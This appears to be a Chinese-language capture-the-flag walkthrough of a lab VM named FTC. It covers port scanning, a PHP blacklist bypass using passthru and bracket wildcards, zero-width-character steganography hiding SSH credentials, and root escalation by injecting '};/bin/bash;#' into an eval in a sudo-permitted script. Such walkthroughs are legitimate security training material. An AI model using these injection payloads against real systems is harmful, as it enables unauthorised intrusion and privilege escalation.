1.5-FTC

1、信息收集

主机发现

发现目标IP为192.168.56.212

```
┌──(root㉿kali)-[~/Desktop]
└─# arp-scan -l -I eth1
Interface: eth1, type: EN10MB, MAC: 00:0c:29:af:92:af, IPv4: 192.168.56.125
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:19       (Unknown: locally administered)
192.168.56.100  08:00:27:e5:13:01       PCS Systemtechnik GmbH
192.168.56.212  08:00:27:4c:ce:fd       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.127 seconds (120.36 hosts/sec). 3
responded
```

端口扫描

发现开启了22、80和8080端口

```
┌──(root㉿kali)-[~/Desktop]
└─# nmap -p- 192.168.56.212
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-04 21:38 EST
Nmap scan report for 192.168.56.212
Host is up (0.012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
MAC Address: 08:00:27:4C:CE:FD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 31.93 seconds

┌──(root㉿kali)-[~/Desktop]
└─# nmap -p22,80,8080 -sV -A 192.168.56.212
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-04 21:39 EST
Nmap scan report for 192.168.56.212
Host is up (0.0013s latency).
```

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open  http    (PHP 8.2.29)
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Date: Mon, 05 Jan 2026 02:39:33 GMT
|     Connection: close
|     X-Powered-By: PHP/8.2.29
|     Content-type: text/html; charset=UTF-8
|     <code><span style="color: #000000">
|     <span style="color: #0000BB">&lt;?php
|     />error_reporting</span><span style="color: #007700">(</span><span
style="color: #0000BB">0</span><span style="color: #007700">);
|     /></span><span style="color: #0000BB">highlight_file</span><span
style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span
style="color: #007700">);
|     /></span><span style="color: #FF8000">// 
|     flag
|     /></span><span style="color: #0000BB">$funtion </span><span
style="color: #007700">= </span><span style="color: #0000BB">$_POST</span>
<span style="color: #007700">[</span><span style="color:
#DD0000">'function'</span><span style="color: #007700">];
|_    /></span><span style="color: #0000BB">
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
8080/tcp open  http    (PHP 8.2.29)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.0 200 OK
|     Date: Mon, 05 Jan 2026 02:39:33 GMT
|     Connection: close
|     X-Powered-By: PHP/8.2.29
|_    Content-type: text/html; charset=UTF-8
2 services unrecognized despite returning data. If you know the service/version,
please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?
new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.95%I=7%D=1/4%Time=695B2466%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,80E,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Mon,\x2005\x20Jan\x202026
SF:\x2002:39:33\x20GMT\r\nConnection:\x20close\r\nX-Powered-By:\x20PHP/8\.
```

```
SF:2\.29\r\nContent-type:\x20text/html;\x20charset=UTF-8\r\n\r\n<code><spa
SF:n\x20style=\"color:\x20#000000\">\n<span\x20style=\"color:\x20#0000BB\"
SF:>&lt;\?php\r<br\x20/>error_reporting</span><span\x20style=\"color:\x20#
SF:007700\">\(</span><span\x20style=\"color:\x20#0000BB\">0</span><span\x2
SF:0style=\"color:\x20#007700\">\);\r<br\x20/></span><span\x20style=\"colo
SF:r:\x20#0000BB\">highlight_file</span><span\x20style=\"color:\x20#007700
SF:\">\(</span><span\x20style=\"color:\x20#0000BB\">__FILE__</span><span\x
SF:20style=\"color:\x20#007700\">\);\r<br\x20/></span><span\x20style=\"col
SF:or:\x20#FF8000\">// \xe6\xa0\xb9\xe7\x9b\xae\xe5\xbd\x95\xe4\xb8\x
SF:8b\xe7\x9a\x84flag\r<br\x20/></span><span\x20style=\"color:\x20#0000BB\
SF:">\$funtion </span><span\x20style=\"color:\x20#007700\">= </s
SF:pan><span\x20style=\"color:\x20#0000BB\">\$_POST</span><span\x20style=\
SF:"color:\x20#007700\">\[</span><span\x20style=\"color:\x20#DD0000\">'fun
SF:ction'</span><span\x20style=\"color:\x20#007700\">\];\r<br\x20/></span>
SF:<span\x20style=\"color:\x20#0000BB\">")%r(HTTPOptions,80E,"HTTP/1\.0\x2
SF:0200\x20OK\r\nDate:\x20Mon,\x2005\x20Jan\x202026\x2002:39:33\x20GMT\r\n
SF:Connection:\x20close\r\nX-Powered-By:\x20PHP/8\.2\.29\r\nContent-type:\
SF:x20text/html;\x20charset=UTF-8\r\n\r\n<code><span\x20style=\"color:\x20
SF:#000000\">\n<span\x20style=\"color:\x20#0000BB\">&lt;\?php\r<br\x20/>er
SF:ror_reporting</span><span\x20style=\"color:\x20#007700\">\(</span><span
SF:\x20style=\"color:\x20#0000BB\">0</span><span\x20style=\"color:\x20#007
SF:700\">\);\r<br\x20/></span><span\x20style=\"color:\x20#0000BB\">highlig
SF:ht_file</span><span\x20style=\"color:\x20#007700\">\(</span><span\x20st
SF:yle=\"color:\x20#0000BB\">__FILE__</span><span\x20style=\"color:\x20#00
SF:7700\">\);\r<br\x20/></span><span\x20style=\"color:\x20#FF8000\">//&nbs
SF:p;\xe6\xa0\xb9\xe7\x9b\xae\xe5\xbd\x95\xe4\xb8\x8b\xe7\x9a\x84flag\r<br
SF:\x20/></span><span\x20style=\"color:\x20#0000BB\">\$funtion </span
SF:><span\x20style=\"color:\x20#007700\">= </span><span\x20style=\"co
SF:lor:\x20#0000BB\">\$_POST</span><span\x20style=\"color:\x20#007700\">\[
SF:</span><span\x20style=\"color:\x20#DD0000\">'function'</span><span\x20s
SF:tyle=\"color:\x20#007700\">\];\r<br\x20/></span><span\x20style=\"color:
SF:\x20#0000BB\">");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.95%I=7%D=1/4%Time=695B2466%P=x86_64-pc-linux-gnu%r(Get
SF:Request,902,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Mon,\x2005\x20Jan\x2020
SF:26\x2002:39:33\x20GMT\r\nConnection:\x20close\r\nX-Powered-By:\x20PHP/8
SF:\.2\.29\r\nContent-type:\x20text/html;\x20charset=UTF-8\r\n\r\n\xe5\x8f
SF:\xaf\xe6\x83\x9c\xe6\xb2\xa1\xe5\xa6\x82\xe6\x9e\x9c\r\n\xe6\x9e\x97\xe
SF:4\xbf\x8a\xe6\x9d\xb0\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\x
SF:e2\x80\x8d\xef\xbb\xbf\xe2\x80\xac\xe2\x80\x8c\r\n\xe5\x81\x87\xe5\xa6\
SF:x82\xe6\x8a\x8a\xe7\x8a\xaf\xe5\xbe\x97\xe8\xb5\xb7\xe7\x9a\x84\xe9\x94
SF:\x99\r\n\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe
SF:2\x80\xac\xef\xbb\xbf\xe2\x80\x8d\xe8\x83\xbd\xe9\x94\x99\xe7\x9a\x84\x
SF:e9\x83\xbd\xe9\x94\x99\xe8\xbf\x87\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\
SF:xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xef\xbb\xbf\r\n\xe5\xba
SF:\x94\xe8\xaf\xa5\xe8\xbf\x98\xe6\x9d\xa5\xe5\xbe\x97\xe5\x8f\x8a\xe5\x8
SF:e\xbb\xe6\x82\x94\xe8\xbf\x87\r\n\xe5\x81\x87\xe5\xa6\x82\xe6\xb2\xa1\x
SF:e6\x8a\x8a\xe4\xb8\x80\xe5\x88\x87\xe8\xaf\xb4\xe7\xa0\xb4\r\n\xe9\x82\
```

```
SF:xa3\xe4\xb8\x80\xe5\x9c\xba\xe5\xb0\x8f\xe9\xa3\x8e\xe6\xb3\xa2\xe5\xb0
SF:\x86\xe4\xb8\x80\xe7\xac\x91\xe5\xb8\xa6\xe8\xbf\x87\r\n\xe2\x80\x8c\xe
SF:2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xef\xbb\xbf\x
SF:e2\x80\x8d\xe5\x9c\xa8\xe6\x84\x9f\xe6\x83\x85\xe9\x9d\xa2\xe5\x89\x8d\
SF:xe8\xae\xb2\xe4\xbb\x80\xe4\xb9\x88\xe8\x87\xaa\xe6\x88\x91\xe2\x80\x8c
SF:\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\xa
SF:c\xe2\x80\x8c\r\n\xe8\xa6\x81\xe5\xbe\x97\xe8\xbf\x87\xe4\xb8\x94\xe8\x
SF:bf\x87\xe6\x89\x8d\xe5\xa5\xbd\xe8\xbf\x87\r\n\xe5\x85\xa8\xe9\x83\xbd\
SF:xe6\x80\xaa\xe6\x88\x91\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c
SF:\xe2\x80\x8d\xe2\x80\xac\xe2\x80\xac\xe2\x80\xac\r\n\xe4\xb8\x8d\xe8\xa
SF:f\xa5\xe6\xb2\x89\xe9\xbb\x98\xe6\x97\xb6\xe6\xb2\x89\xe9\xbb\x98\xe8\x
SF:af\xa5\xe5\x8b\x87\xe6\x95\xa2\xe6\x97\xb6\xe8\xbd\xaf\xe5\xbc\xb1\r\n\
SF:xe5\xa6\x82\xe6\x9e\x9c\xe4\xb8\x8d\xe6\x98\xaf\xe6\x88\x91\r\n\xe8\xaf
SF:\xaf\xe4\xbc\x9a\xe8\x87\xaa\xe5\xb7\xb1\xe6\xb4\x92\xe8\x84\xb1\xe8\xa
SF:e\xa9\xe6\x88\x91\xe4\xbb\xac\xe9\x9a\xbe\xe8\xbf\x87\xe2\x80\x8c\xe2\x
SF:80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8c\xef\
SF:xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xef
SF:\xbb\xbf\xe2\x80\xac\xe2\x80\xac\r\n\xe5\x8f\xaf\xe5\xbd\x93\xe5\x88\x9
SF:d\xe7\x9a\x84\xe4\xbd\xa0\xe5\x92\x8c\xe7\x8e\xb0\xe5\x9c\xa8\xe7\x9a\x
SF:84\xe6\x88\x91\r\n\xe5\x81\x87\xe5\xa6\x82\xe9\x87\x8d\xe6\x9d\xa5\xe8\
SF:xbf\x87\r\n\xe5\x80\x98\xe8\x8b\xa5\xe9\x82\xa3\xe5\xa4\xa9\r\n\xe2\x80
SF:\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\x8d\xe2\x8
SF:0\x8c\xef\xbb\xbf\xe6\x8a\x8a\xe8\xaf\xa5\xe8\xaf\xb4\xe7\x9a\x84\xe8\x
SF:af\x9d\xe5\xa5\xbd\xe5\xa5\xbd\xe8\xaf\xb4\r\n\xe8\xaf\xa5\xe4\xbd\x93\
SF:xe8\xb0\x85\xe7\x9a\x84\xe4\xb8\x8d\xe6\x89\xa7\xe7\x9d\x80\r\n\xe5\xa6
SF:\x82\xe6\x9e\x9c\xe9\x82\xa3\xe5\xa4\xa9\xe6\x88\x91\r\n\xe4\xb8\x8d\xe
SF:5\x8f\x97\xe6\x83\x85\xe7\xbb\xaa\xe6\x8c\x91\xe6\x8b\xa8\xe2\x80\x8c\x
SF:e2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\xac\
SF:xe2\x80\x8d\r\n\xe4\xbd\xa0\xe4\xbc\x9a\xe6\x80\x8e\xe4\xb9\x88\xe5\x81
SF:\x9a\r\n\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe
SF:2\x80\xac\xe2\x80\x8c\xe2\x80\x8d");
MAC Address: 08:00:27:4C:CE:FD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2
- 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.34 ms 192.168.56.212

OS and Service detection performed. Please report any incorrect results at
```

```
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.28 seconds
```

2、web探测

访问80端口，php代码，久违的CTF

```php
<?php
error_reporting(0);
highlight_file(__FILE__);
// 根目录下的flag
$funtion = $_POST['function'];
$args = $_POST['args'];

if(!preg_match("/system|exec|eval|phpinfo/i",$funtion)&&!preg_match("/(cat|ls|f|
l|g|more|head|grep|r|sort|ph|n|less|e|[\\\_~*?\$])/i",$args)){
$funtion($args);
}
else {
    echo "nonono";
}
```

过滤规则分析

function 黑名单：

- `system`，`exec`，`eval`，`phpinfo`

args 黑名单：

- 单字符：`f`，`l`，`g`，`r`，`n`，`e`
- 多字符：`cat`，`ls`，`more`，`head`，`grep`，`sort`，`ph`，`less`
- 特殊字符：`\`，`_`，`~`，`*`，`?`，`$`

绕过方法

1. **function 绕过**：使用 `passthru` 代替被禁的 `system` / `exec`
2. **args 绕过**：使用 `[a-z]` 字符类通配符构造文件名，避开被禁字符
3. **命令绕过**：使用 `tac` 代替被禁的 `cat`

```
┌──(root㉿kali)-[~/Desktop]
└─# curl -X POST http://192.168.56.212/ -d "function=passthru&args=tac /[a-z][a-z][a-z][a-z]"
<code><span style="color: #000000">
<br />error_reporting</span><span style="color: #007700">(</span><span
style="color: #0000BB">0</span><span style="color: #0<br /></span><span
style="color: #0000BB">highlight_file</span><span style="color: #007700">
(</span><span style="color: #000<br /></span><span style="color:
#0000BB">$funtion </span><span style="color: #007700">= </span><span
style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span
style="color: #DD0000">'function'</span><span style="colo<br /></span><span
style="color: #0000BB">$args </span><span style="color: #007700">= 
</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">
[</span><span style="color: #DD0000">'args'</span><span style="color: #007<br
/>if(!</span><span style="color: #0000BB">preg_match</span><span style="color:
#007700">(</span><span style="color: #DD0000">"/system|exec|eval|phpinfo/i"
</span><span style="color: #007700">,</span><span style="color:
#0000BB">$funtion</span><span style="color: #007700">)&amp;amp;amp;!</span><span
style="color: #0000BB">preg_match</span><span style="color: #007700">(</span>
<span style="color: #DD0000">"/(cat|ls|f|l|g|more|head|grep|r|sort|ph|n|less|e|
[\\\_~*?\$])/i"</span><span style="color<br /></span><span style="color:
#0000BB">$funtion</span><span style="color: #007700">(</span><span style="color:
#0000BB">$<br /></span>nbsp;  echo </span><span style="color:
#DD0000">"nonono"</span><span style="color: #007700">;
</span>
</code>LlB45/KQFm
```

最后得到flag `LlB45/KQFm`

访问8080端口，是林俊杰 可惜没如果的歌词

```
┌──(root㉿kali)-[~/Desktop]
└─# curl http://192.168.56.212:8080/
可惜没如果
林俊杰
假如把犯得起的错
能错的都错过
应该还来得及去悔过
假如没把一切说破
那一场小风波将一笑带过
在感情面前讲什么自我
要得过且过才好过
全都怪我
```

不该沉默时沉默该勇敢时软弱
如果不是我
误会自己洒脱让我们难过
可当初的你和现在的我
假如重来过
倘若那天
把该说的话好好说
该体谅的不执着
如果那天我
不受情绪挑拨
你会怎么做
那么多如果可能如果我
可惜没如果只剩下结果
如果早点了解
那率性的你
或者晚一点
遇上成熟的我
不过oh
全都怪我
不该沉默时沉默该勇敢时软弱
如果不是我
误会自己洒脱让我们难过
可当初的你和现在的我
假如重来过
倘若那天
把该说的话好好说
该体谅的不执着
如果那天我
不受情绪挑拨
你会怎么做
那么多如果可能如果我
可惜没如果没有你和我
都怪我
不该沉默时沉默该勇敢时软弱
如果不是我
误会自己洒脱让我们难过
可当初的你和现在的我
假如重来过
倘若那天
把该说的话好好说
该体谅的不执着
如果那天我
不受情绪挑拨
你会怎么做
那么多如果可能如果我
可惜没如果
只剩下结果
可惜没如果

端口扫描中，发现8080端口返回的内容包含大量零宽字符（如 `\xe2\x80\x8c`，`\xef\xbb\xbf` 等），这是典型的**零宽字符隐写**！

在线零宽解密工具：https://330k.github.io/misc_tools/unicode_steganography.html

解密得到：`xmgmxjs:SyalwLO+pmWicb.....`

用户名是 `xmgmxjs`，密码 `SyalwLO+pmWicb.....`，根据 `.....` 的提示，将在80端口得到的 `LlB45/KQFm` 拼接进去，得到完整的密码 `SyalwLO+pmWicbLlB45/KQFm`，可以成功ssh登陆 `xmgmxjs`

要注意的是，这里 `cat` 通过别名改成了 `vim`，可以用 `tac` 替代

```
xmgmxjs@FCT:~$ alias
alias cat='vim'
alias ls='ls --color=auto'
```

得到user flag

```
┌──(root㉿kali)-[~/Desktop]
└─# ssh xmgmxjs@192.168.56.212
xmgmxjs@192.168.56.212's password:
Linux FCT 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jan  4 22:18:28 2026 from 192.168.56.125
```

```
-bash: alias: `/bin/cat': invalid alias name
xmgmxjs@FCT:~$ ls
user.txt
xmgmxjs@FCT:~$ tac user.txt
flag{user-JLUSoJGCnTndpKfYIcPT0AZa}
```

3、提权

```
xmgmxjs@FCT:~$ sudo -l
Matching Defaults entries for xmgmxjs on FCT:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for xmgmxjs:
    Defaults!/usr/bin/sqlmap, !/usr/bin/sqlmap *--tamper* env_reset

User xmgmxjs may run the following commands on FCT:
    (root) NOPASSWD: /usr/bin/sqlmap, !/usr/bin/sqlmap *--tamper*
    (ALL) NOPASSWD: /opt/123.sh
```

查看`/opt/123.sh`脚本

```
#!/bin/bash

if [ "${#1}" -eq 2 ]; then
          eval cat $1.hidden
fi


if [ "${#1}" -gt 2 ]; then
          eval echo \${FTC_${1}:-$HOME}
fi
```

脚本有两个分支：

- 长度为2的参数 → `eval cat $1.hidden`
- 长度大于2的参数 → `eval echo \${FTC_${1}:-$HOME}`（我们利用的漏洞）

漏洞利用原理

当参数为`};id;#`时：

1. 参数长度为6，满足 `${#1} -gt 2` 条件，进入第二个分支
2. `${1}` 被替换为 `};id;#`
3. `eval echo \${FTC_${1}:-$HOME}` 变成 `eval echo \${FTC_};id;#:-$HOME}`
4. `eval` 执行：先执行 `echo ${FTC_}`（变量不存在），然后执行 `id` 命令，`#` 注释掉剩余内容

```
xmgmxjs@FCT:~$ sudo /opt/123.sh '};id;#'

uid=0(root) gid=0(root) groups=0(root)
```

直接执行 `/bin/bash` 来获取root权限

```
xmgmxjs@FCT:~$ sudo /opt/123.sh '};/bin/bash;#'

root@FCT:/home/xmgmxjs# ls /root
root.txt
root@FCT:/home/xmgmxjs# tac /root/root.txt
flag{root-jyt/DLUwE8JEy2v5EuykzPeL}
```